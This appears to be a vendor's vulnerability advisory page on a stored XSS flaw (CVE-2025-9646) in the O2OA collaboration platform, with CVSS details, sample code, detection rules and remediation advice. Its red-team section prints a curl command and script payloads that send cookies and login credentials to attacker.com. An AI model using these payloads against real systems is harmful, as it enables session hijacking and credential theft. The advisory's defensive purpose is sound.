CVE-2025-9646
Executive Summary
CVE-2025-9646 is a stored cross-site scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_organization_assemble_personal/jaxrs/definition/calendarConfig endpoint, where the toMonthViewName argument is not properly sanitized before being reflected back to the user. An attacker can craft a malicious request that, when processed by an authenticated user's browser, executes arbitrary JavaScript in the context of the O2OA application. The CVSS score is 3.5 (Low), but the public availability of an exploit increases the risk. The vendor has acknowledged the issue and stated it will be fixed in the next version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based application distributed as a WAR file or Docker image. The vulnerability is in the application's own code, not in a third-party package. However, organizations using O2OA should verify they are not running a version with this flaw and should monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: Required (UI:R) – The victim must click on a crafted link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data is directly exposed.
- Integrity Impact: Low (I:L) – The attacker can modify content in the victim's browser.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Low. The attack requires user interaction and only allows for limited integrity impact. However, the public exploit code lowers the barrier for attackers.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the calendar configuration feature of O2OA. The endpoint /x_organization_assemble_personal/jaxrs/definition/calendarConfig accepts a JSON payload containing a toMonthViewName parameter. This parameter is intended to allow users to customize the name of the month view in their calendar. However, the application does not sanitize or encode this input before storing it and later rendering it in the user's browser.
Attack Flow:
- An attacker sends a POST request to the vulnerable endpoint with a malicious payload in the
toMonthViewNamefield, e.g.,<script>alert('XSS')</script>. - The server stores this payload in the database without sanitization.
- When an authenticated user views their calendar settings, the malicious script is executed in their browser.
- The attacker can then perform actions such as session hijacking, defacement, or phishing.
The vulnerability is in the Java backend, likely in a REST controller that handles the calendar configuration. The fix would involve proper output encoding or input validation.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
// Vulnerable endpoint - no sanitization
@POST
@Path("calendarConfig")
public Response setCalendarConfig(CalendarConfig config) {
// Directly stores the user input
userConfig.setToMonthViewName(config.getToMonthViewName());
// ... save to database
return Response.ok().build();
}
Patched Code (Expected in next version):
// Patched endpoint - with output encoding
@POST
@Path("calendarConfig")
public Response setCalendarConfig(CalendarConfig config) {
// Sanitize input using OWASP Java Encoder
String safeName = Encode.forHtml(config.getToMonthViewName());
userConfig.setToMonthViewName(safeName);
// ... save to database
return Response.ok().build();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- O2OA instance (version <= 10.0-410)
- A valid user account (or ability to trick an authenticated user)
Exploit Steps:
- Craft a malicious payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send a POST request to the vulnerable endpoint:
curl -X POST "http://target.com/x_organization_assemble_personal/jaxrs/definition/calendarConfig" \ -H "Content-Type: application/json" \ -d '{"toMonthViewName": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>"}' - The payload is stored. When an admin or user views the calendar config, the script executes and exfiltrates cookies.
Alternative Payload (Phishing):
<script>
document.body.innerHTML = '<form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
</script>
Blue Team
Detection:
- Monitor for POST requests to
/x_organization_assemble_personal/jaxrs/definition/calendarConfigwith suspicioustoMonthViewNamevalues. - Look for
<script>tags or event handlers in the request body.
Hunting:
- Search logs for the endpoint and inspect the
toMonthViewNameparameter for HTML/JavaScript content. - Use the YARA rule below to scan stored data.
Prevention:
- Apply input validation and output encoding.
- Use a Web Application Firewall (WAF) to block XSS patterns.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/x_organization_assemble_personal/jaxrs/definition/calendarConfigwithtoMonthViewNamecontaining<script>oronerror=etc. - Outbound connections to attacker-controlled domains from the O2OA server.
- POST requests to
- File System:
- Modified calendar configuration entries in the database containing JavaScript.
- Logs:
- Application logs showing unusual
toMonthViewNamevalues.
- Application logs showing unusual
Detection Engineering
YARA Rule
rule CVE_2025_9646_O2OA_XSS {
meta:
description = "Detects stored XSS payload in O2OA calendar config"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9646"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: O2OA Stored XSS via Calendar Config
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-9646 by sending XSS payloads to the calendar config endpoint.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: POST
http.url: '/x_organization_assemble_personal/jaxrs/definition/calendarConfig'
http.body|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in calendar names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9646 O2OA Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/x_organization_assemble_personal/jaxrs/definition/calendarConfig"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor's patch as soon as it is released. Monitor the O2OA GitHub repository for updates.
- Workaround: If patching is not possible, restrict access to the vulnerable endpoint using a WAF or reverse proxy.
- Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
Long-term:
- Conduct a security audit of the O2OA codebase for similar issues.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a Web Application Firewall (WAF) with XSS detection rules.
Valters IT
Securing your digital frontier.